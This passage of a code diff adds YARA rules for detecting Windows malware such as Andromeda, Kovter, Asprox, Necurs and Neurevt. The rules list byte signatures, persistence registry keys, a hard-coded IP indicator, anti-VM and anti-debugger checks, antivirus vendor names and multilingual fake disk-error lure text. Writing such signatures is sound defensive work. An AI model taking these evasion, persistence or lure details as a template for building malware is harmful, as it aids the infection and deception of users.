+	strings:
+		$ = "My name is \"G-Bot\" or \"GBot\"!"ascii wide
+		$ = "C:\\WINDOWS\\WinUpdaterstd\\svchost.exe"ascii wide
+		$hex0 = { 85 d2 74 ?? 8b ?? ?? 41 7f ?? 50 52 8b ?? ?? e8 ?? ?? ?? ?? 89 c2 58 52 8b ?? ?? e8 ?? ?? ?? ?? 5a 58 eb ?? f0 ?? ?? ?? 87 ?? 85 d2 74 ?? 8b ?? ?? 49 7c ?? f0 ?? ?? ?? 75 ?? 8d ?? ?? e8 ?? ?? ?? ?? c3}
+		$hex1 = { 53 56 8b f2 8b d8 66 ?? ?? ?? 66 3d b0 d7 72 ?? 66 3d b3 d7 76 ?? bb 66 00 00 00 eb ?? 66 3d b0 d7 74 ?? 8b c3 e8 ?? ?? ?? ?? 66 ?? ?? ?? 80 ?? ?? ?? 75 ?? 83 ?? ?? ?? 75 ?? c7 ?? ?? ?? ?? ?? ?? 8b c3 ff ?? ?? 8b d8 85 db 74 ?? 8b c3 e8 ?? ?? ?? ?? 8b c3 5e 5b c3}
+
+	condition:
+		any of them
+}rule TrojanDropperWin32Gamarue_A_Andromeda
+{
+ 	meta:
+ 		Description  = "Trojan.Andromeda.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$ = { 66 8B 10 66 3B 11 75 1E 66 3B D3 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 3B D3 75 DE 33 C0 EB 05 1B C0 83 D8 FF 3B C3 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? ?? 56 FF D7 85 C0 75 ?? }
+		$a = "ldr\\CUSTOM\\local\\local\\Release\\ADropper.pdb" ascii wide
+		$ = "EpisodeNorth.exe" ascii wide
+		$ = "HandballChampionship.exe" ascii wide
+		$ = "\\#MSI" ascii wide
+		$ = "\\MSI" ascii wide
+		$ = "\\msiexec.exe" ascii wide
+		$ = "avp.exe" ascii wide
+		$ = "\\(empty).lnk" ascii wide
+		$b = "hsk\\ehs\\dihviceh\\serhlsethntrohntcohurrehem\\chsyst" ascii wide
+
+ 	condition:
+ 		(3 of them) or $a or $b
+}
+rule TrojanInjectorA
+{
+   meta:
+       Description = "Trojan.Injector.vb"
+       ThreatLevel = "5"
+
+   strings:
+		$ = "KERNEO32.nll"  ascii wide
+		$ = "CfeateFileAaocwwA"  ascii wide
+		$ = "RGPdFileREjhsoX"  ascii wide
+
+   condition:
+      all of them
+}
+rule TrojanWin32KovterSample
+{
+	meta:
+		Description  = "Trojan.Kovter.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "AntiVirtualBox" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
+		$ = "AntiVMware" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    
+		$ = "AntiVMwareEx" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  
+		$ = "AntiVirtualPC" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
+		$ = "AntiSandboxie" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
+		$ = "AntiThreadExpert" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
+		$ = "AntiWireshark" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 
+		$ = "AntiJoeBox" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    
+		$ = "AntiRFP" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       
+		$ = "AntiAllDebugger" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               
+		$ = "AntiODBG" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      
+		$ = "AntiSoftIce" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   
+		$ = "AntiSyserDebugger" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             
+		$ = "AntiTrwDebugger" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               
+		$ = "AntiVirtualMachine" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            
+		$ = "AntiSunbeltSandboxie" ascii wide                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          
+	
+		$a = "i:\\MySoft\\project Locker\\optimize orig Binary\\kol\\err.pas" ascii wide
+
+	condition:
+		3 of them or $a
+}rule TrojanDownloaderWin32KuluozSampleB
+{
+	meta:
+		Description  = "Trojan.Asprox.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "svchost.exe" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "/index.php?r=gate&id=" ascii wide
+		$ = "/index.php?r=gate/getipslist&id=" ascii wide
+		$ = "You fag" ascii wide
+		$ = "For group" ascii wide
+		$hex0 = { 55 8b ec 81 ec dc 00 00 00 90 68 1c 10 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? 68 28 10 40 00 8b ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 44 10 40 00 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 58 10 40 00 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 6c 10 40 00 8b ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 7c 10 40 00 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? 68 94 10 40 00 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? b8 50 89 40 00 2d b0 10 40 00 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c1 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? c6 ?? ?? ?? ?? ?? ?? ?? eb ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c0 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? c6 ?? ?? ?? ?? eb ?? c7 ?? ?? ?? ?? ?? ?? 90 8d ?? ?? ?? ?? ?? 52 8d ?? ?? 50 6a 00 6a 00 6a 04 6a 00 6a 00 6a 00 68 a4 10 40 00 6a 00 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6a 00 6a 18 8d ?? ?? 50 6a 00 8b ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 83 c2 08 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 6a 04 8d ?? ?? ?? ?? ?? 51 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6a 00 68 00 00 00 08 6a 40 8d ?? ?? ?? ?? ?? 52 6a 00 68 1f 00 0f 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? 6a 40 6a 00 6a 01 8d ?? ?? ?? ?? ?? 52 6a 00 6a 00 6a 00 8d ?? ?? ?? ?? ?? 50 6a ff 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 8b ?? ?? 3b ?? ?? 73 ?? b9 b0 10 40 00 03 ?? ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? 8a ?? 88 ?? eb ?? 90 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6a 40 6a 00 6a 01 8d ?? ?? ?? ?? ?? 51 6a 00 6a 00 6a 00 8d ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 6a 40 68 00 30 00 00 68 00 00 50 00 6a 00 ff ?? ?? ?? ?? ?? 89 ?? ?? 8d ?? ?? ?? ?? ?? 50 68 00 10 00 00 8b ?? ?? 51 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 03 ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 51 8b ?? ?? 52 8b ?? ?? 50 8b ?? ?? ?? ?? ?? 51 8b ?? ?? ?? ?? ?? 52 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6a 00 68 00 00 00 08 6a 40 8d ?? ?? ?? ?? ?? 51 6a 00 68 1f 00 0f 00 8d ?? ?? ?? ?? ?? 52 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 6a 40 6a 00 6a 01 8d ?? ?? ?? ?? ?? 51 6a 00 6a 00 6a 00 8d ?? ?? ?? ?? ?? 52 6a ff 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 03 ?? ?? ?? ?? ?? c6 ?? ?? 8b ?? ?? 03 ?? ?? ?? ?? ?? c6 ?? ?? ?? 8b ?? ?? 03 ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? 8b ?? ?? 03 ?? ?? ?? ?? ?? c6 ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c0 01 89 ?? ?? 8b ?? ?? 3b ?? ?? 73 ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? 8b ?? ?? 03 ?? ?? 8a ?? 88 ?? eb ?? 90 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6a 40 6a 00 6a 01 8d ?? ?? ?? ?? ?? 50 6a 00 6a 00 6a 00 8d ?? ?? ?? ?? ?? 51 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6a 00 8b ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 68 e8 03 00 00 ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? ?? ?? ?? 8b e5 5d c3}
+	condition:
+		(3 of them) or $hex0
+}rule TrojanWin32LethicBSample
+{
+	meta:
+		Description  = "Trojan.Lethic.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "zaproxza" ascii wide
+		$ = "93.190.137.51" ascii wide
+		$ = "antaw" ascii wide
+		$hex0 = { e8 ?? ?? ?? ?? 8b ?? ?? 52 e8 ?? ?? ?? ?? 8b ?? ?? 50 e8 ?? ?? ?? ?? 68 74 43 40 00 e8 ?? ?? ?? ?? 89 ?? ?? 6a 33 68 00 40 40 00 8b ?? ?? 51 e8 ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? e9 ?? ?? ?? ?? 8b ?? ??}
+	condition:
+		(2 of them) or (any of ($hex*))
+}rule TrojanWin32NecursSample
+{
+ 	meta:
+ 		Description  = "Trojan.Necurs.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$ = "some stupid error %u" ascii wide
+		$ = "loading" ascii wide
+		$ = "unloading" ascii wide
+		$ = "exception %08x %swhen %s at %p" ascii wide
+		$ = "microsoft.com" ascii wide
+		$ = "facebook.com" ascii wide
+		$a = "NitrGB" ascii wide
+		$ = "\\Installer\\{" ascii wide
+		$ = "%s%0.8X-%0.4X-%0.4X-%0.4X-%0.8X%0.4X}\\" ascii wide
+		$ = "syshost32" ascii wide
+		$ = "%s\\svchost.exe" ascii wide
+
+ 	condition:
+ 		(8 of them) or $a
+}
+
+rule TrojanWinNTNecursSample
+{
+ 	meta:
+ 		Description  = "Trojan.Necurs.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$a = "F:\\cut\\abler\\detecting\\overlapping\\am.pdb" ascii wide
+		$ = "VirusBuster Ltd" ascii wide
+		$ = "Beijing Jiangmin" ascii wide
+		$ = "SUNBELT SOFTWARE" ascii wide
+		$ = "Sunbelt Software" ascii wide
+		$ = "K7 Computing" ascii wide
+		$ = "Immunet Corporation" ascii wide
+		$ = "Beijing Rising" ascii wide
+		$ = "G DATA Software" ascii wide
+		$ = "Quick Heal Technologies" ascii wide
+		$ = "Comodo Security Solutions" ascii wide
+		$ = "CJSC Returnil Software" ascii wide
+		$ = "NovaShield Inc" ascii wide
+		$ = "BullGuard Ltd" ascii wide
+		$ = "Check Point Software Technologies Ltd" ascii wide
+		$ = "Panda Software International" ascii wide
+		$ = "Kaspersky Lab" ascii wide
+		$ = "FRISK Software International Ltd" ascii wide
+		$ = "ESET, spol. s r.o." ascii wide
+		$ = "Doctor Web Ltd" ascii wide
+		$ = "BitDefender SRL" ascii wide
+		$ = "BITDEFENDER LLC" ascii wide
+		$ = "Avira GmbH" ascii wide
+		$ = "GRISOFT, s.r.o." ascii wide
+		$ = "PC Tools" ascii wide
+		$ = "ALWIL Software" ascii wide
+		$ = "Agnitum Ltd" ascii wide
+
+ 	condition:
+ 		(8 of them) or $a
+}rule TrojanWin32NedsymGSample
+{
+	meta:
+		Description  = "Trojan.Nedsym.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "qwertyuiopasdfghjklzxcvbnm123456789"  ascii wide
+		$ = "svcnost.exe"  ascii wide
+		$ = "Windows Init"  ascii wide
+		$ = "\\drivers\\etc\\hosts"  ascii wide
+
+	condition:
+		2 of them
+}rule TrojanWin32NeurevtA_BackDoor
+{
+	meta:
+		Description  = "Trojan.Neurevt.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "%s\\__%08x.lnk" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce" ascii wide
+		$ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "{2227A280-3AEA-1069-A2DE-08002B30309D}" ascii wide
+		$ = "schtasks.exe" ascii wide
+		$ = "SYSTEM\\CurrentControlSet\\Control\\Session Manager" ascii wide
+		$ = "Software\\Classes\\CLSID\\%s\\%08X\\%s" ascii wide
+		$ = "%s\\%08X.pif" ascii wide
+		$ = "Windows ha detectado una carpeta da" ascii wide
+		$ = "Mostrar Detalles" ascii wide
+		$ = "Mas informaci" ascii wide
+		$ = "Restaurar archivos" ascii wide
+		$ = "Restaurar archivos y chequear el disco en busca de errores" ascii wide
+		$ = "Erro de Disco Cr" ascii wide
+		$ = "O Windows encontrou uma pasta corrompida no seu disco r" ascii wide
+		$ = "Mostrar detalhes" ascii wide
+		$ = "Mais detalhes sobre esse erro" ascii wide
+		$ = "Restaurar os arquivos" ascii wide
+		$ = "Restaurar os arquivos e verificar erros no disco" ascii wide
+		$ = "Kritischer Festplattenfehler" ascii wide
+		$ = "Windows hat einen fehlerhaften Ordner auf deiner Festplatte vorgefunden." ascii wide
+		$ = "Mehrere fehlerhafte Dateien wurden in dem Ordner 'Eigene Dokumente' gefunden. Um Datenverlust zu ver" ascii wide
+		$ = "Details anzeigen" ascii wide
+		$ = "Mehr Details zu diesem Fehler" ascii wide
+		$ = "Dateien wiederherstellen" ascii wide
+		$ = "Dateien wiederherstellen und Festplatte auf Fehler " ascii wide
+		$ = "Erreur Critique" ascii wide
+		$ = "Windows a trouv" ascii wide
+		$ = "Plusieurs fichiers corrompu sont trouv" ascii wide
+		$ = "Montre d" ascii wide
+		$ = "Plus de d" ascii wide
+		$ = "Kritieke foutmelding" ascii wide
+		$ = "Windows heeft een beschadigde map gevonden" ascii wide
+		$ = "Meerdere beschadigde bestanden zijn in de map 'Mijn Documenten' gevonden. Om dataverlies te voorkome" ascii wide
+		$ = "Toon details" ascii wide
+		$ = "Meer details over deze foutmelding" ascii wide
+		$ = "Herstel bestanden" ascii wide
+		$ = "Herstel bestanden en controleer de harde schijf voor errors" ascii wide
+		$ = "Kritik disk hatas" ascii wide
+		$ = "Windows sabit diskinizde bozuk bir klas" ascii wide
+		$ = "Bu hata hakk" ascii wide
+		$ = "Dosyalar" ascii wide
+		$ = "Hata ayr" ascii wide
+		$ = "Kritis Disk Kesalahan" ascii wide
+		$ = "Windows telah mengalami rusak folder pada hard drive Anda" ascii wide
+		$ = "Beberapa file rusak telah ditemukan di folder 'My Documents'. Untuk mencegah kerugian serius data, p" ascii wide
+		$ = "Tampilkan detail" ascii wide
+		$ = "Lebih rinci tentang kesalahan ini" ascii wide
+		$ = "mengembalikan file" ascii wide
+		$ = "Kembalikan file dan memeriksa disk untuk kesalahan" ascii wide
+		$ = "Errore critico dell'hard disk" ascii wide
+		$ = "Windows ha trovato una cartella corrotta nel vostro hard disk." ascii wide
+		$ = "Mostra dettagli" ascii wide
+		$ = "Maggiori dettagli su quest'errore" ascii wide
+		$ = "Ripristina i file" ascii wide
+		$ = "Ripristina i file e controlla il disco per errori." ascii wide
+		$ = "Kriittinen Levy Virhe" ascii wide
+		$ = "Windows on t" ascii wide
+		$ = "Useita korruptoituneita tiedostoja on l" ascii wide
+		$ = "Palauta tiedostot" ascii wide
+		$ = "Palauta tiedostot ja etsi virheit" ascii wide
+		$ = "Problem, krytyczny stan dysku" ascii wide
+		$ = "Windows znalazl korupcyjny folder w twoim twardym dysku." ascii wide
+		$ = "Duza ilosc zepsutych plikow zostala znaleziona w swoim folderze 'My Documents'. Zeby zachowac pamiec" ascii wide
+		$ = "Pokaz wiecej informacji" ascii wide
+		$ = "Wiecej danych na temat bledu" ascii wide
+		$ = "Przywracanie plik" ascii wide
+		$ = "Critical Disk Error" ascii wide
+		$ = "Windows has encountered a corrupted folder on your hard drive" ascii wide
+		$ = "Multiple corrupted files have been found in the folder 'My Documents'. To prevent serious loss of da" ascii wide
+		$ = "Show details" ascii wide
+		$ = "More details about this error" ascii wide
+		$ = "Restore files and check disk for errors" ascii wide
+		$ = "http://answers.microsoft.com/en-us/windows/forum/windows_vista-windows_programs/corrupted-documents-folder/e2a7660f-8eea-4f27-b2e6-e77a0f0c1535" ascii wide
+		$ = "uac" ascii wide
+		$ = "nuac" ascii wide
+		$ = "Has denegado los privilegios de Windows para la utilidad de restauraci" ascii wide
+		$ = "Error en los privilegios" ascii wide
+		$ = "Erro de privil" ascii wide
+		$ = "Sie verweigerten Windows die Privilegien, das Dateiwiederherstellungswerkzeug zu nutzen. Bitte w" ascii wide
+		$ = "Privilegfehler" ascii wide
+		$ = "Vous avez rejet" ascii wide
+		$ = "Erreur de privil" ascii wide
+		$ = "U heeft de nodige rechten afgewezen voor de Windows herstelprocedure. Selecteer JA op de volgende UA" ascii wide
+		$ = "Toestemming error" ascii wide
+		$ = "Windows dosya restorasyon program" ascii wide
+		$ = "Izin hatas" ascii wide
+		$ = "Anda menyangkal hak-hak istimewa yang tepat untuk utilitas restorasi file Windows. Silakan pilih YES" ascii wide
+		$ = "Privilege Kesalahan" ascii wide
+		$ = "Hai negato i privilegi necessari a Windows per riparare i file. Selezione \"Si\" nella seguente finest" ascii wide
+		$ = "Errore nei privilegi" ascii wide
+		$ = "Et sallinut oikeuksia Windowsin tiedostojen palautus ohjelmistolle. Ole hyv" ascii wide
+		$ = "Windows file restoration utility" ascii wide
+		$ = "You denied the proper privileges to the Windows file restoration utility. Please select YES on the f" ascii wide
+		$ = "Privilege Error" ascii wide
+		$ = "local ip detected" ascii wide
+
+		$hex0 = { 55 8b ec 81 ec 04 01 00 00 83 ?? ?? ?? 56 57 0f ?? ?? ?? ?? ?? 8b ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? be 34 71 42 00 8b ce e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 81 c2 ae 17 00 00 8b ca e8 ?? ?? ?? ?? 83 f8 08 0f ?? ?? ?? ?? ?? 52 e8 ?? ?? ?? ?? 8b f8 85 ff 74 ?? 68 04 01 00 00 6a 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? a1 ?? ?? ?? ?? 56 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 57 68 68 a3 42 00 50 ff ?? ?? ?? ?? ?? 83 c4 14 57 e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 68 d2 04 00 00 ff ?? ?? ?? ?? ?? 8b f0 ff ?? ?? ?? ?? ?? ff ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8b f8 83 fe 01 75 ?? 6a 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8b c7 eb ?? 33 c0 5f 5e c9 c2 04 00 55}
+		$hex1 = { 55 8b ec 81 ec 04 01 00 00 53 33 db 57 39 ?? ?? 0f ?? ?? ?? ?? ?? 8b ?? ?? 3b cb 0f ?? ?? ?? ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 3b f3 0f ?? ?? ?? ?? ?? 39 ?? 0f ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 81 c2 ae 17 00 00 8b ca e8 ?? ?? ?? ?? 83 f8 08 0f ?? ?? ?? ?? ?? 52 e8 ?? ?? ?? ?? 8b f8 3b fb 0f ?? ?? ?? ?? ?? 68 04 01 00 00 53 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? ff ?? ?? a1 ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 57 68 68 a3 42 00 50 ff ?? ?? ?? ?? ?? 83 c4 14 57 e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 68 d2 04 00 00 ff ?? ?? ?? ?? ?? 8b f8 ff ?? ?? ?? ?? ?? ff ?? ?? 8b ?? ff ?? ?? 8d ?? ?? ?? ?? ?? 50 68 01 00 00 80 e8 ?? ?? ?? ?? 89 ?? 83 ff 01 75 ?? 53 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 39 ?? 0f 95 c0 eb ?? 32 c0 5f 5b c9 c2 0c 00}
+		$hex2 = { 55 8b ec 81 ec 98 06 00 00 8b cf e8 ?? ?? ?? ?? 83 f8 01 73 ?? 33 c0 40 c9 c3 53 56 57 32 db ff ?? ?? ?? ?? ?? 68 08 02 00 00 8b f0 6a 00 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 68 03 01 00 00 57 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? a1 ?? ?? ?? ?? 05 f2 14 00 00 50 56 ff ?? ?? ?? ?? ?? 85 c0 74 ?? a1 ?? ?? ?? ?? 05 f2 14 00 00 50 8b d7 e8 ?? ?? ?? ?? 85 c0 78 ?? 33 c0 40 e9 ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 57 e8 ?? ?? ?? ?? be 80 00 00 00 eb ?? ff ?? ?? ?? ?? ?? 83 f8 05 75 ?? 84 db 75 ?? 8b cf e8 ?? ?? ?? ?? 83 f8 01 72 ?? 57 e8 ?? ?? ?? ?? b3 01 56 57 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 57 ff ?? ?? ?? ?? ?? 8b f0 85 f6 74 ?? 68 00 c1 42 00 56 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 68 0c c1 42 00 56 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 6a 5c 5e 8b d7 e8 ?? ?? ?? ?? 40 50 57 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 68 18 c1 42 00 50 ff ?? ?? ?? ?? ?? 83 c4 10 6a 08 8d ?? ?? ?? ?? ?? 50 57 ff ?? ?? ?? ?? ?? 85 c0 75 ?? 6a 04 50 57 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 75 ?? 68 8c 00 00 00 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 83 f8 05 75 ?? 8b cf e8 ?? ?? ?? ?? 83 f8 01 72 ?? 57 e8 ?? ?? ?? ?? eb ?? 32 c0 fe c8 0f b6 c0 f7 d8 1b c0 83 e0 02 eb ?? 6a 03 58 eb ?? 33 c0 5e 5b c9 c3}
+		$hex3 = { 55 8b ec 83 e4 f8 51 8b ?? ?? 57 85 d2 0f ?? ?? ?? ?? ?? 0f ?? ?? 66 85 c9 0f ?? ?? ?? ?? ?? 0f ?? ?? ?? 83 e8 00 0f ?? ?? ?? ?? ?? 48 74 ?? 48 0f ?? ?? ?? ?? ?? 48 0f ?? ?? ?? ?? ?? b8 1c 03 00 00 66 3b c8 0f ?? ?? ?? ?? ?? a1 ?? ?? ?? ?? 0f ?? ?? ?? 50 e8 ?? ?? ?? ?? 3c 01 0f ?? ?? ?? ?? ?? 52 e8 ?? ?? ?? ?? e9 ?? ?? ?? ?? b8 18 01 00 00 66 3b c8 75 ?? a1 ?? ?? ?? ?? 83 ?? ?? ?? 74 ?? 8d ?? ?? 8b cf e8 ?? ?? ?? ?? 83 f8 02 76 ?? 8b ?? ?? f6 c2 01 74 ?? e8 ?? ?? ?? ?? 83 f8 fe 75 ?? a1 ?? ?? ?? ?? 03 c0 e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? eb ?? f6 c2 02 74 ?? 57 e8 ?? ?? ?? ?? eb ?? f6 c2 04 74 ?? e8 ?? ?? ?? ?? eb ?? b8 24 14 00 00 66 3b c8 75 ?? a1 ?? ?? ?? ?? 0f ?? ?? ?? 50 e8 ?? ?? ?? ?? 3c 01 75 ?? 8b c2 e8 ?? ?? ?? ?? 33 c0 40 eb ?? 33 c0 5f 8b e5 5d c2 04 00}
+		$hex4 = { 8b ?? ?? c6 ?? ?? ?? ?? ff ?? ?? 83 f9 37 8b ?? ?? 7e ?? eb ?? c6 ?? ?? ?? ?? ff ?? ?? 8b ?? ?? 83 f9 40 7c ?? e8 ?? ?? ?? ?? eb ?? 8b ?? ?? c6 ?? ?? ?? ?? ff ?? ?? 83 ?? ?? ?? 7c ?? eb ?? c6 ?? ?? ?? ?? ff ?? ?? 8b ?? ?? 83 f9 38 7c ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? 8a ?? ?? 88 ?? ?? e9 ?? ?? ?? ??}
